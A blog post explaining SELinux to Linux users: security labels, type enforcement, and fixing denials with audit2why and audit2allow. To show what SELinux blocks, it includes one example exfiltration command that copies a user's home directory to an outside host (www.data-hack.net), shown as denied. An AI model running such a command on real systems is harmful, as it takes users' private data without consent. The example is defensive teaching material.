Demystifying SELinux

I think a lot of people involved in the Linux space, both devs and regular users, have a hard time with SELinux. Just last week I was showing some of my personal server’s security to a colleague and I could see the look of sheer “This is above my pay-grade” all over his face.

Yes it’s an NSA thing

Before we go further, I have to answer one question: yes, it was developed by the NSA. As most security researchers and other people “in the know” have pointed out, the NSA cannot be trusted with most things. But this is one of several notable exceptions to that rule, and even Linus has defended them on this one.

Security Labels

SELinux works by attaching “security labels” to files and directories on the file system as metadata. For instance doing a ls -lZ command on my web server home directory looks like this

    # ls -lZ /var/www/*
    drwxr-xr-x. 4 git  www-data system_u:object_r:httpd_sys_content_t:s0      4096 Nov 17  2020 2020
    -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      1654 Apr  6 14:52 404.html
    -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      2779 Apr  6 14:52 about.html
    drwxr-xr-x. 6 git  www-data system_u:object_r:httpd_sys_content_t:s0      4096 Apr  6 14:52 assets
    -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0     20564 Apr  6 14:52 feed.xml
    -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      2622 Apr  6 14:52 index.html
    -rw-r--r--. 1 root root     unconfined_u:object_r:httpd_sys_content_t:s0   612 Jun 24 14:44 index.nginx-debian.html
    drwxr-xr-x. 3 git  www-data system_u:object_r:httpd_sys_content_t:s0      4096 Apr  8  2020 oss
    -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      1890 Apr  6 14:52 projects.html

As you can see, the security context is a colon-delimited list. The system_u, object_r, and s0 parts aren’t used in the targeted policy (which I use). Those are used in the multi-level security (MLS) policy, and it adds much more complexity than is required for most use cases. For the target policy only the “type” portion is ever used.

These labels are attached to the file system on initial setup of SELinux by running touch /.autorelabel and making sure security=selinux selinux=1 is appended to the kernel command line, see your bootloader documentation for that. You can change them either rerunning that command and rebooting or by using the restorecon or chcon commands, see the relevant manpage for details.

Type Enforcement

This is where most people really start to get confused. On every access of any file in the file system, the kernel still checks UNIX permissions, i.e. the rwx bits in the file metadata. If the permission bits don’t allow something, SELinux won’t allow it either. Not very interesting, right? The interesting part begins when a user, alice has some data that might be classified or read-only and decides, maybe out of frustration, to chmod 777 her entire home directory. Most Linux and Unix heads are probably exploding upon reading that, but this where SELinux can really save your bacon. Because when a system process has a vulnerability that allows arbitrary code execution and tries to run a shell command such as:

    $ scp -r ~alice www.data-hack.net
    cp: cannot stat '/home/alice': Permission denied

This is due to the kernel detecting a type mismatch, i.e. it detects the process running with httpd_t cannot access files with the type user_home_t.

In addition, all of these errors are logged by the audit daemon, auditd and placed in /var/log/audit/audit.log for you to examine later.

Fixing Errors

The first step to take when fixing a permission error, and you know the permission bits are set correctly, is to check the audit logs with the command ausearch -c <command_name> | audit2why. This command string searches the audit logs for the command <command_name> and feeds the results into audit2why which translates them into a more human readable format. This command will tell you exactly what to do to fix the error, whether it be setsebool -P <bool_name> or ausearch -c <command_name> | audit2allow -M <command_name>Local.